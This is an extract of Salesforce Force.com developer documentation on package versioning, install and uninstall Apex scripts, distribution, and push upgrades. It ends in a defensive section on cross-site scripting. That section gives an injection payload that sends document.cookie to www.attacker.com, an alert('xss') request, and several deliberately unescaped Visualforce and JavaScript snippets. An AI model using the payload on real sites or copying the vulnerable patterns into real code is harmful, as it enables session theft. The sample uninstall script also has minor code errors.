Arguments

Return Type

Description An Integer value less than zero if the current package version is less than the specified package version

If a two-part version is being compared to a three-part version, the patch number is ignored and the comparison is based only on the major and minor numbers.
major

Integer Integer Integer

Returns the major package version of the calling code. Returns the minor package version of the calling code. Returns the patch package version of the calling code or null if there is no patch version.

minor

patch

The System class contains two methods that you can use to specify conditional logic, so different package versions exhibit different behavior.
System.requestVersion: Returns a two-part version that contains the major and minor version numbers of a package.

Using this method, you can determine the version of an installed instance of your package from which the calling code is referencing your package. Based on the version that the calling code has, you can customize the behavior of your package code. System.runAs(System.Version): Changes the current package version to the package version specified in the argument.

When a subscriber has installed multiple versions of your package and writes code that references Apex classes or triggers in your package, they must select the version they are referencing. You can execute different code paths in your packages Apex code based on the version setting of the calling Apex code making the reference. You can determine the calling codes package version setting by calling the System.requestVersion method in the package code. For more information, including a code example, see Version Methods in the Force.com Apex Code Developer's Guide.

Example of a Post Install Script


The following sample post install script performs these actions on package install/upgrade. If the previous version is null, that is, the package is being installed for the first time, the script: Creates a new Account called Newco and verifies that it was created. Creates a new instance of the custom object Survey, called Client Satisfaction Survey. Sends an email message to the subscriber confirming installation of the package. If the previous version is 1.0, the script creates a new instance of Survey called Upgrading from Version 1.0. If the package is an upgrade, the script creates a new instance of Survey called Sample Survey during Upgrade.

2054

Create

Running Apex on Package Install/Upgrade

If the upgrade is being pushed, the script creates a new instance of Survey called Sample Survey during Push.
global class PostInstallClass implements InstallHandler { global void onInstall(InstallContext context) { if(context.previousVersion() == null) { Account a = new Account(name='Newco'); insert(a); Survey__c obj = new Survey__c(name='Client Satisfaction Survey'); insert obj; User u = [Select Id, Email from User where Id =:context.installerID()]; String toAddress= u.Email; String[] toAddresses = new String[]{toAddress}; Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); mail.setToAddresses(toAddresses); mail.setReplyTo('support@package.dev'); mail.setSenderDisplayName('My Package Support'); mail.setSubject('Package install successful'); mail.setPlainTextBody('Thanks for installing the package.'); Messaging.sendEmail(new Messaging.Email[] { mail }); } else if(context.previousVersion().compareTo(new Version(1,0)) == 0) { Survey__c obj = new Survey__c(name='Upgrading from Version 1.0'); insert(obj); } if(context.isUpgrade()) { Survey__c obj = new Survey__c(name='Sample Survey during Upgrade'); insert obj; } if(context.isPush()) { Survey__c obj = new Survey__c(name='Sample Survey during Push'); insert obj; } } }

You can test a post install script using the new testInstall method of the Test class. This method takes the following arguments. A class that implements the InstallHandler interface. A Version object that specifies the version number of the existing package. An optional Boolean value that is true if the installation is a push. The default is false.

This sample shows how to test a post install script implemented in the PostInstallClass Apex class.
@isTest static void testInstallScript() { PostInstallClass postinstall = new PostInstallClass(); Test.testInstall(postinstall, null); Test.testInstall(postinstall, new Version(1,0), true); List<Account> a = [Select id, name from Account where name ='Newco']; System.assertEquals(a.size(), 1, 'Account not found'); }

2055

Create

Running Apex on Package Uninstall

Specifying a Post Install Script


Once you have created and tested the post install script, you can specify it in the Post Install Script lookup field on the Package Detail page. In subsequent patch releases, you can change the contents of the script but not the Apex class. The class selection is also available via the Metadata API as Package.postInstallClass. This is represented in package.xml as a <postInstallClass>foo</postInstallClass> element.

Running Apex on Package Uninstall


App developers can specify an Apex script to run automatically after a subscriber uninstalls a managed package. This makes it possible to perform cleanup and notification tasks based on details of the subscribers organization. For simplicity, you can only specify one uninstall script. It must be an Apex class that is a member of the package. The uninstall script is subject to default governor limits. It runs as a special system user that represents your package, so all operations performed by the script will appear to be done by your package. You can access this user by using UserInfo. You will only see this user at runtime, not while running tests. If the script fails, the uninstall continues but none of the changes performed by the script are committed. Any errors in the script are emailed to the user specified in the Notify on Apex Error field of the package. If no user is specified, the uninstall details will be unavailable. The uninstall script has the following restrictions. You cant use it to initiate batch, scheduled, and future jobs, to access Session IDs, or to perform callouts.

How does an Uninstall Script Work?


An uninstall script is an Apex class that implements the UninstallHandler interface. This interface has a single method called onUninstall that specifies the actions to be performed on uninstall.
global interface UninstallHandler { void onUninstall(UninstallContext context) }

The onUninstall method takes a context object as its argument, which provides the following information. The org ID of the organization in which the uninstall takes place. The user ID of the user who initiated the uninstall.

The context argument is an object whose type is the UninstallContext interface. This interface is automatically implemented by the system. The following definition of the UninstallContext interface shows the methods you can call on the context argument.
global interface UninstallContext { ID organizationId(); ID uninstallerId(); }

2056

Create

Running Apex on Package Uninstall

Example of an Uninstall Script


The sample uninstall script below performs the following actions on package uninstall. Inserts an entry in the feed describing which user did the uninstall and in which organization Creates and sends an email message confirming the uninstall to that user
global class UninstallClass implements UninstallHandler { global void onUninstall(UninstallContext ctx) { FeedItem feedPost = new FeedItem(); feedPost.parentId = ctx.uninstallerID(); feedPost.body = 'Thank you for using our application!'; insert feedPost; User u = [Select Id, Email from User where Id =:context.uninstallerID()]; String toAddress= u.Email; String[] toAddresses = new String[] {toAddress}; Messaging.SingleEmailMessage mail = new Messaging.SingleEmailMessage(); String[] toAddresses = new String[] {'admin@package.dev'}; mail.setToAddresses(toAddresses); mail.setReplyTo('support@package.dev'); mail.setSenderDisplayName('My Package Support'); mail.setSubject('Package uninstall successful'); mail.setPlainTextBody('Thanks for uninstalling the package.'); Messaging.sendEmail(new Messaging.Email[] { mail }); } }

You can test an uninstall script using the testUninstall method of the Test class. This method takes as its argument a class that implements the UninstallHandler interface. This sample shows how to test an uninstall script implemented in the UninstallClass Apex class.
@isTest static void testUninstallScript() { Id UninstallerId = UserInfo.getUserId(); List<FeedItem> feedPostsBefore = [SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY]; Test.testUninstall(new UninstallClass()); List<FeedItem> feedPostsAfter = [SELECT Id FROM FeedItem WHERE parentId=:UninstallerId AND CreatedDate=TODAY]; System.assertEquals(feedPostsBefore.size() + 1, feedPostsAfter.size(), 'Post to uninstaller failed.'); }

Specifying an Uninstall Script


Once you have created and tested the uninstall script and included it as a member of your package, you can specify it in the Uninstall Script lookup field on the Package Detail page. In subsequent patch releases, you can change the contents of the script but not the Apex class.

2057

Create

Preparing Your Apps for Distribution

The class selection is also available via the Metadata API as Package.uninstallClass. This is represented in package.xml as an <uninstallClass>foo</uninstallClass> element.

Preparing Your Apps for Distribution


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create packages: To upload packages: Create AppExchange Packages Upload AppExchange Packages

When you are ready to distribute your package, determine if you want to release a managed or unmanaged package. For more information about the different types of releases, see Developing Packages for Distribution. 1. Create a package: a. b. c. d. e. Click Your Name > Setup > Create > Packages. Click New. Enter a name for your package. This does not have to be the same name that appears on AppExchange. From the drop-down menu, select the default language of all component labels in the package. Optionally, choose a custom link from the Configure Custom Link field to display configuration information to installers of your app. You can select a predefined custom link to a URL or s-control that you have created for your home page layouts; see the Configure Option on page 2071. The custom link displays as a Configure link within Salesforce on the Force.com AppExchange Downloads page and app detail page of the installer's organization. f. Optionally, in the Notify on Apex Error field, enter the username of the person who should receive an email notification if an exception occurs in Apex that is not caught by the Apex code. If you do not specify a username, all uncaught exceptions generate an email notification that is sent to salesforce.com. This is only available for managed packages. For more information, see Handling Apex Exceptions in Managed Packages on page 2175. Note: Apex can only be packaged from Developer, Enterprise, and Unlimited Edition organizations.

g. Optionally, enter a description that describes the package. You will have a chance to change this description before you upload it to AppExchange. h. Optionally, specify a post install script. This is an Apex script that runs in the subscriber organization after the package is installed or upgraded. For more information, see Running Apex on Package Install/Upgrade. i. Optionally, specify an uninstall script. This is an Apex script that runs in the subscriber organization after the package is uninstalled. For more information, see Running Apex on Package Uninstall. j. Click Save. 2. Salesforce sets your package API access privileges to Unrestricted. You can change this setting to further restrict API access of Salesforce components in the package. For more information, see Managing API and Dynamic Apex Access in Packages on page 1859. 3. Add the necessary components for your app.

2058

Create

Preparing Your Apps for Distribution

a. Click Add. b. From the drop-down list, choose the type of component you want to add to your package. At the top of the list, click a letter to display the contents of the sorted column that begin with that character. If available, click the Next Page (or Previous Page) link to go to the next or previous set of components. If available, click fewer or more at the bottom of the list to view a shorter or longer display list.

c. Select the components you want to add. Note: Some components cannot be added to see Developing Packages for Distribution. Managed - Released packages. For a list of these components,

S-controls cannot be added to packages with restricted API access. d. Click Add To Package. Repeat these steps until you have added all the components you want in your package. Note: Some related components are automatically included in the package even though they may not display in the Package Components list. For example, when you add a custom object to a package, its custom fields, page layouts, and relationships with standard objects are automatically included. For a complete list of components Salesforce automatically includes, see Developing Packages for Distribution. When you package a joined report, each block is included in the package. Although the blocks appear in the package as reports, when you click on a block, you see an error message that you have insufficient privileges to view the report. This is expected behavior. Instead, click on the name of the joined report to run it.

4. Optionally, click View Dependencies and review a list of components that rely on other components, permissions, or preferences within the package. An entity may include such things as an s-control, a standard or custom field, or an organization-wide setting like multicurrency. Your package cannot be installed unless the installer has the listed components enabled or installed. For more information on dependencies, see Understanding Dependencies on page 2063. Click Done to return to the Package detail page. Note: You cannot upload packages that contain any of the following: References to person accounts, such as an s-control or custom field referencing person accounts. Workflow rules or workflow actions (such as field updates or outbound messages) that reference record types. Reports that reference record types on standard objects.

5. Click Upload. Note: If you are creating a managed package to publish on AppExchange, you must certify your application before you package it. For more information, see Security and Trust on AppExchange. On the Upload Package page, do the following: a. Enter a Version Name. As a best practice, it's useful to have a short description and the date. b. Enter a Version Number for the upload, such as 1.0. The format is majorNumber.minorNumber.

2059

Create

Preparing Your Apps for Distribution

Note: If you are uploading a new patch version, you can't change the patch number. The version number represents a release of a package. This field is required for managed and unmanaged packages. For a managed package, the version number corresponds to a Managed - Released upload. All beta uploads use the same version number until you upload a Managed - Released package version with a new version number. For example, the following is a sequence of version numbers for a series of uploads. Upload Sequence First upload Second upload Type Managed - Beta Managed - Released Version Notes Number 1.0 1.0 1.1 2.0 2.0 The first Managed - Beta upload. A Managed - Released upload. Note that the version number does not change. Note the change of minor release number for this Managed - Released upload. The first Managed - Beta upload for version number 2.0. Note the major version number update. A Managed - Released upload. Note that the version number does not change.

Third upload Managed - Released Fourth upload Managed - Beta Fifth upload Managed - Released

c. For managed packages, select a Release Type: Choose Managed - Released to upload an upgradeable version. After upload, some attributes of Salesforce components are locked. For a list of locked attributes, see Developing Packages for Distribution. Choose Managed - Beta if you want to upload a version of your package to a small sampling of your audience for testing purposes. You'll still be able to change the components and upload additional beta versions. For information on beta versions, see Developing Packages for Distribution. Note: Beta packages can only be installed in Developer Edition or sandbox organizations, and thus can't be pushed to customer organizations.

d. Change the Description, if necessary. e. Optionally, enter and confirm a password to share the package privately with anyone who has the password. Don't enter a password if you want to make the package available to anyone on AppExchange and share your package publicly. f. Salesforce automatically selects the requirements it finds. In addition, select any other required components from the Package Requirements and Object Requirements sections to notify installers of any requirements for this package. g. Click Upload. 6. Once your upload is complete you can do any of the following. Click Change Password link to change the password option. Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating.

2060

Create

Trialforce Branding

Note: You cannot deprecate the most recent version of a managed package.

When you deprecate a package, remember to remove it from AppExchange as well. See Removing Apps from AppExchange in the AppExchange online help. Click Undeprecate to make a deprecated version available for installation again.

You will receive an email that includes an installation link when your package has been uploaded successfully. Note: If you uploaded from your Salesforce production organization, notify installers who want to install it in a sandbox organization to replace the login.salesforce.com portion of the installation link with test.salesforce.com.

See Also:
Overview of Packages Managing Packages Understanding Dependencies Managing Versions Creating and Uploading Patches Publishing Upgrades to Managed Packages Publishing Extensions to Managed Packages

Trialforce Branding
Available in: Developer Edition

User Permissions Needed To manage Trialforce branding: Customize Application

App developers using Trialforce to create new trials of their product can optionally set up a branded login site and system emails. By branding these areas with your company's look and feel, users of your application will be immersed in your brand from sign-up to login. A branded login page enables you to specify your login domain and login site. Login domains end with .cloudforce.com, so that if your company name is mycompany, then your login domain will be mycompany.cloudforce.com. Your custom login site includes your text and company logo, and mobile-friendly versions of your login site as well.

Branded emails allow you to specify fields in system-generated emails so that your company name, address, and other pertinent details are used in email correspondence. You can create multiple branded email sets for different campaigns, customer bases, etc.

2061

Create

Managing Versions

Note: To configure branding, you must be logged into a Trialforce Management Organization (TMO). To get your TMO, log a case in the Salesforce Partner Portal.

Managing Versions
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload packages: Upload AppExchange Packages

After you upload a package to Force.com AppExchange, you can still manage it from Salesforce. To manage your versions: 1. Click Your Name > Setup > Create > Packages. 2. Select the package that contains the app or components you uploaded. 3. Select the version number listed in the Versions tab. Click Change Password link to change the password option. Click Deprecate to prevent new installations of this package while allowing existing installations to continue operating. Note: You cannot deprecate the most recent version of a managed package.

When you deprecate a package, remember to remove it from AppExchange as well. See Removing Apps from AppExchange in the AppExchange online help. Click Undeprecate to make a deprecated version available for installation again. Note: To create a test drive or choose a License Management Organization (LMO) for what you have uploaded, click Proceed to AppExchange from the package upload detail page.

See Also:
Preparing Your Apps for Distribution Understanding Dependencies Creating and Uploading Patches Publishing Upgrades to Managed Packages Publishing Extensions to Managed Packages Security Tips for Apex and Visualforce Development

2062

Create

Understanding Dependencies

Understanding Dependencies
AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Apex available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To upload packages: To view Apex dependencies: To view Visualforce dependencies: Upload AppExchange Packages Author Apex Developer Mode

Package dependencies are created when one component references another component, permission, or preference that is required for the component to be valid. Force.com tracks certain dependencies, including: Organizational dependencies, such as whether multicurrency or campaigns are enabled Component-specific dependencies, such as whether particular record types or divisions exist References to both standard and custom objects or fields

Packages, Apex classes, Apex triggers, Visualforce components, and Visualforce pages can have dependencies on components within an organization. These dependencies are recorded on the Show Dependencies page. Dependencies are important for packaging because any dependency in a component of a package is considered a dependency of the package as a whole. Note: An installers organization must meet all dependency requirements listed on the Show Dependencies page or else the installation will fail. For example, the installer's organization must have divisions enabled to install a package that references divisions. Dependencies are important for Apex classes or triggers because any component on which a class or trigger depends must be included with the class or trigger when the code is deployed or packaged. In addition to dependencies, the operational scope is also displayed on the Show Dependencies page. The operational scope is a table that lists any data manipulation language (DML) operations (such as insert or merge) that Apex executes on a specified object. The operational scope can be used when installing an application to determine the full extent of the applications database operations. To view the dependencies and operational scope for a package, Apex class, Apex trigger, or Visualforce page: 1. Navigate to the appropriate component: For packages, click Your Name > Setup > Create > Packages. For Apex classes, click Your Name > Setup > Develop > Apex Classes. For Apex triggers on standard objects, click Your Name > Setup > Customize, click the name of the object, and then click Triggers. For Apex triggers on custom objects, click Your Name > Setup > Create, click the name of the object, and then click Triggers.

2063

Create

Understanding Dependencies

For Visualforce pages, click Your Name > Setup > Develop > Pages.

2. Select the name of the component. 3. Click View Dependencies for a package, or Show Dependencies for all other components, to see a list of objects that depend upon the selected component. If a list of dependent objects displays, click Fields to access the field-level detail of the operational scope. The field-level detail includes information, such as whether a field is updated by Apex. For more information, see Field Operational Scope on page 2064. Packages, Apex code, and Visualforce pages can be dependent on many components, including but not limited to: Custom field definitions Validation formulas Reports Record types Apex Visualforce pages and components

For example, if a Visualforce page includes a reference to a multicurrency field, such as {!contract.ISO_code}, that Visualforce page has a dependency on multicurrency. If a package contains this Visualforce page, it also has a dependency on multicurrency. Any organization that wants to install this package must have multicurrency enabled.

See Also:
Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages Publishing Extensions to Managed Packages Field Operational Scope

Field Operational Scope


AppExchange packages and Visualforce are available in: Group, Professional, Enterprise, Unlimited, and Developer Editions Apex available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To upload packages: To view Apex dependencies: To view Visualforce dependencies: Upload AppExchange Packages Author Apex Developer Mode

The fields displayed on the Fields Operational Scope page are referenced through the operational scope:

2064

Create

Scheduling Push Upgrades

If the Is Updated checkbox is selected, the field is updated using a database manipulation language (DML) operation, such as insert or update. For more information, see Understanding Dependencies on page 2063. If the Is Updated checkbox is not selected, the field is only referenced within the operational scope. For example, it may be included as part of a select statement.

If the External ID checkbox is selected, the field acts as an External ID. An external ID field contains unique record identifiers from a system outside of Salesforce. You can use the sidebar search to find external ID values, and you can use the field in the Force.com API. When using the import wizards for custom objects and solutions, you can use this field to prevent duplicates.

See Also:
Understanding Dependencies

Scheduling Push Upgrades


Available in: Developer Edition

User Permissions Needed To push an upgrade: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

After youve created a patch version of your package, you can automatically deploy it to customers using a push upgrade. Tip: Salesforce.com strongly recommends following this sequence for pushing package upgrades. 1. Push the upgrade to your own organizations so you can run tests and fix any bugs before upgrading subscribers. 2. When youre ready and have coordinated with your customers on their change management process, push to a small number of customer organizations. Try sandbox organizations first, if possible. 3. Once youre comfortable with the initial results, push to your wider customer base, based on your agreements with each customer. 4. Deprecate the previous version of your package in your main development organization. Replace the version on AppExchange if necessary, and update your Trialforce setup. 5. If your upgrade was a patch, after youve successfully distributed the upgrade to subscriber organizations, reintegrate those changes into your main development organization. For more information about combining patches into the main development organization, see Working with Patch Versions in the ISVforce Guide. For more information, see Best Practices for Push Upgrades and Patch Versions on page 2071. To schedule a push upgrade: 1. Log in to your main development organization.

2065

Create

Scheduling Push Upgrades

2. Under Your Name > Setup > Create > Packages, click the name of the managed package whose upgrade you want to push. On the package detail page, click the Versions tab, and then click Push Upgrades. 3. Click Schedule Push Upgrades. 4. Select a package version to push from the Patch Version drop-down list. Note: Beta versions arent eligible for push.

5. Enter a Scheduled Start Date, indicating when a push upgrade should begin. 6. In the Select Target Organizations section, select the organizations to receive your push upgrade. If an organization already received a push upgrade for the selected package version, it wont appear in this list. You can select organizations by: Entering a term that filters based on an organizations name or ID. Names can match by partial string, but IDs must match exactly. Choosing between production and sandbox organizations from the Organizations drop-down list. Choosing organizations that have already installed a particular version. Clicking on individual organizations, or the Select All and Deselect All checkboxes.

This section lists the following information about the organization (in alphabetical order): Field
Current Version Organization ID

Description The current package version an organization has installed. The ID that uniquely identifies the organization to salesforce.com. The name of the organization. Clicking this name shows the upgrade history for the organization. The name of the contact who installed the package.

Organization Name

Primary Contact

7. Click Schedule. While a push upgrade is in progress, you can click Abort to stop it. On the previous push upgrades page, the Push Upgrade History table lists recently scheduled push upgrades for the package.

See Also:
Viewing Push Upgrade Details Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

2066

Create

Scheduling Push Upgrades

Viewing Push Upgrade History


Available in: Developer Edition

User Permissions Needed To view push upgrade history: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

To view the details of all push upgrades sent by your organization, click Your Name > Setup > Create > Packages, click the name of the package you want to view, then click Push Upgrades. The Push Upgrade History page lists the status of all your pending and previous push upgrades. To filter your push upgrade history: 1. Select a version number from the drop-down list. Not selecting any version is equivalent to selecting all of them. 2. Select one or more statuses from the Status list. Not selecting any status is equivalent to selecting all of them. 3. Click Apply to filter the list. Click Clear to remove all the filters. The history displays the following information (in alphabetical order): Column
Action

Description While a push upgrade is in progress, you can click Abort to stop it. The scheduled start date and time of the push upgrade. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures. The name of the organization the push upgrade went to. For multiple organizations, this field only lists the first organization in the queue, followed by the number of the total selected organizations. Clicking on this link provides you with more information about the target push upgrade and each individual organization.

Start Date Status

Target

2067

Create

Scheduling Push Upgrades

Column
Version

Description The package version number that was pushed.

See Also:
Viewing Push Upgrade Details Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

Viewing Push Upgrade Details


Available in: Developer Edition

User Permissions Needed To view push upgrade details: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

For information about a specific push upgrade that your organization sent, click Your Name > Setup > Create > Packages, click the name of the package you want to view, then click Push Upgrades. Clicking on the name of a Target takes you to the Push Upgrade Details page, which has information both for the push job and each organization that it was pushed to. The Job Details section has the following information about the overall push upgrade (in alphabetical order): Field
End Date Ignore Apex Test Failures

Description The date and time the push upgrade finished. Whether Apex test failures that may cause the installed application not to function properly were ignored. The name of the user who initiated the push upgrade. The scheduled start date and time of the push upgrade. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures. The package version number that was pushed.

Scheduled By Start Date Status

Version

In the Organizations section, you can get a list of all the organizations that received a push upgrade. You can filter organizations by using the search box and entering a term that filters based on an organizations name or ID. Names can match by partial string, but IDs must match exactly. From the drop-down list, you can also filter based on the status of the push upgrade.

2068

Create

Scheduling Push Upgrades

The list contains the following information specific to each organization (in alphabetical order): Field
Duration Failure Type

Description The amount of time the push upgrade took. Lists the type of failure that occurred (if any). If the push upgrade did fail, a possible explanation is provided in the collapsible section. If the push upgrade was unsuccessful, click Retry to try it again. The ID that uniquely identifies the organization to salesforce.com. The name of the organization. Clicking this name shows the upgrade history for the organization. The scheduled start date and time of the push upgrade. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures.

Organization ID

Organization Name

Start Status

See Also:
Viewing Push Upgrade History Scheduling Push Upgrades Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

Viewing an Organization's Upgrade History


Available in: Developer Edition

User Permissions Needed To view push upgrade history: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

For more information about a specific organization that received a push upgrade, click Your Name > Setup > Create > Packages, click the name of the package you want to view, then click on the name of a Target. Clicking on an organization in the target list provides the following details (in alphabetical order):

2069

Create

Scheduling Push Upgrades

Field
Current Version Organization ID

Description The current package version an organization has installed. The ID that uniquely identifies the organization to salesforce.com. The name of the organization. The name of the contact who installed the package. The email address of the package publisher. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures.

Organization Name Primary Contact Primary Contact Email Status

The Push Upgrade History lists the following information (in alphabetical order): Field
Action

Description Clicking View Details returns you to the job details for that upgrade. The scheduled start date and time of the push upgrade. The status of the push upgrade, whether scheduled, in progress, completed, aborted, or completed with failures. The package version number that was pushed.

Start Date Status

Version

See Also:
Viewing Push Upgrade Details Viewing Push Upgrade History Creating and Uploading Patches Scheduling Push Upgrades Preparing Your Apps for Distribution Managing Versions Publishing Upgrades to Managed Packages

2070

Create

Developing App Documentation

Best Practices for Push Upgrades and Patch Versions


Available in: Developer Edition

User Permissions Needed To push an upgrade or create a patch development organization: Upload AppExchange Packages

Note: Patch versions and push upgrades are only available to Salesforce ISV partners.

Consider the following best practices when scheduling a push: Schedule push upgrades at your customers off-peak hours and outside of salesforce.com's major release windows, to minimize potential subscriber impact. Avoid changes to validation rules, formula fields, and errors thrown from Apex triggers, as they may negatively impact subscribers integrations. Visualforce pages that are refreshed while a push upgrade is in process may lose their view state if the page or controller is changed.

Consider the following additional best practice when creating a patch version: Visible changes to a package shouldn't be performed in a patch. Other than a change in the package version number, subscribers aren't notified of push upgrades.

Developing App Documentation


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit custom tabs: Customize Application

Salesforce recommends publishing your app on AppExchange with the following types of documentation: Configure Option You can include a Configure option for installers. This option can link to installation and configuration details, such as: Provisioning the external service of a composite app Custom app settings

2071

Create

Assigning Force.com AppExchange Publishers

The Configure option is included in your package as a custom link. You can create a custom link for your home page layouts and add it to your package. 1. Create a custom link to a URL that contains configuration information or a Visualforce page that implements configuration. When you create your custom link, set the display properties to Open in separate popup window so that the user returns to the same Salesforce page when done. 2. When you create the package, choose this custom link in the Configure Custom Link field of your package detail. Data Sheet Give installers the fundamental information they need to know about your app before they install. Customization and Enhancement Guide Let installers know what they must customize after installation as part of their implementation. Custom Help You can provide custom help for your custom object records and custom fields. Tip: To give your custom help a professional tone using Salesforce terminology, follow the Salesforce.com Style Guide for Documentation and User Interface Text. To use the Salesforce styles, use Visualforce to design your pages.

See Also:
Overview of Packages Assigning Force.com AppExchange Publishers

Assigning Force.com AppExchange Publishers


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign permissions: Customize Application

Users that publish packages on Force.com AppExchange must have the following user permissions: Create Force.com AppExchange packages Allows a user to create packages and add components to it. Upload Force.com AppExchange Packages Allows a user to upload and register or publish packages to Force.com AppExchange.

2072

Create

Security Tips for Apex and Visualforce Development

The System Administrator profile automatically has both these permissions. Determine which of your users should have these permissions and add them to the appropriate user profiles or permission sets.

See Also:
Overview of Packages Developing App Documentation

Security Tips for Apex and Visualforce Development


Available in: , Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Visualforce is not available in Database.com.

Understanding Security The powerful combination of Apex and Visualforce pages allow Force.com developers to provide custom functionality and business logic to Salesforce or create a completely new stand-alone product running inside the Force.com platform. However, as with any programming language, developers must be cognizant of potential security-related pitfalls. Salesforce.com has incorporated several security defenses into the Force.com platform itself. However, careless developers can still bypass the built-in defenses in many cases and expose their applications and customers to security risks. Many of the coding mistakes a developer can make on the Force.com platform are similar to general Web application security vulnerabilities, while others are unique to Apex. To certify an application for AppExchange, it is important that developers learn and understand the security flaws described here. For additional information, see the Force.com Security Resources page on Developer Force at http://wiki.developerforce.com/page/Security.

See Also:
Managing Versions

Cross-Site Scripting (XSS)


Cross-site scripting (XSS) attacks cover a broad range of attacks where malicious HTML or client-side scripting is provided to a Web application. The Web application includes malicious scripting in a response to a user of the Web application. The user then unknowingly becomes the victim of the attack. The attacker has used the Web application as an intermediary in the attack, taking advantage of the victim's trust for the Web application. Most applications that display dynamic Web pages without properly validating the data are likely to be vulnerable. Attacks against the website are especially easy if input from one user is intended to be displayed to another user. Some obvious possibilities include bulletin board or user comment-style websites, news, or email archives. For example, assume the following script is included in a Force.com page using a script component, an on* event, or a Visualforce page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>

2073

Create

Security Tips for Apex and Visualforce Development

This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2

In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were the victim. The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or session cookies, allowing an attacker full access to the victim's session. For more information on this attack in general, see the following articles: http://www.owasp.org/index.php/Cross_Site_Scripting http://www.cgisecurity.com/articles/xss-faq.shtml http://www.owasp.org/index.php/Testing_for_Cross_site_scripting http://www.google.com/search?q=cross-site+scripting

Within the Force.com platform there are several anti-XSS defenses in place. For example, salesforce.com has implemented filters that screen out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default controls. The following sections show where protection does and does not exist. Existing Protection All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText> tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted to &lt; so that a literal < displays on the user's screen.
<apex:outputText> {!$CurrentPage.parameters.userInput} </apex:outputText>

Disabling Escape on Visualforce Tags By default, nearly all Visualforce tags escape the XSS-vulnerable characters. It is possible to disable this behavior by setting the optional attribute escape="false". For example, the following output is vulnerable to XSS attacks:
<apex:outputText escape="false" value="{!$CurrentPage.parameters.userInput}" />

Programming Items Not Protected from XSS The following items do not have built-in XSS protections, so take extra care when using these tags and objects. This is because these items were intended to allow the developer to customize the page by inserting script commands. It does not makes sense to include anti-XSS filters on commands that are intentionally added to a page. Custom JavaScript If you write your own JavaScript, the Force.com platform has no way to protect you. For example, the following code is vulnerable to XSS if used in JavaScript.
<script> var foo = location.search;

2074

Create

Security Tips for Apex and Visualforce Development

document.write(foo); </script>

<apex:includeScript> The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />

Formula Tags
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to include a user's session ID in a link, they could create the link using the following syntax:
<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}"> Go to portal</a>

Which renders output similar to the following:


<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://na1.salesforce.com /services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>

Formula expressions can be function calls or include information about platform objects, a user's environment, system environment, and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created by the use of the {!$Request.*} expression to access request parameters.
<html> <head> <title>{!$Request.title}</title> </head> <body>Hello world!</body> </html>

Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the request:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E

2075

Create

Security Tips for Apex and Visualforce Development

results in the output:


<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>

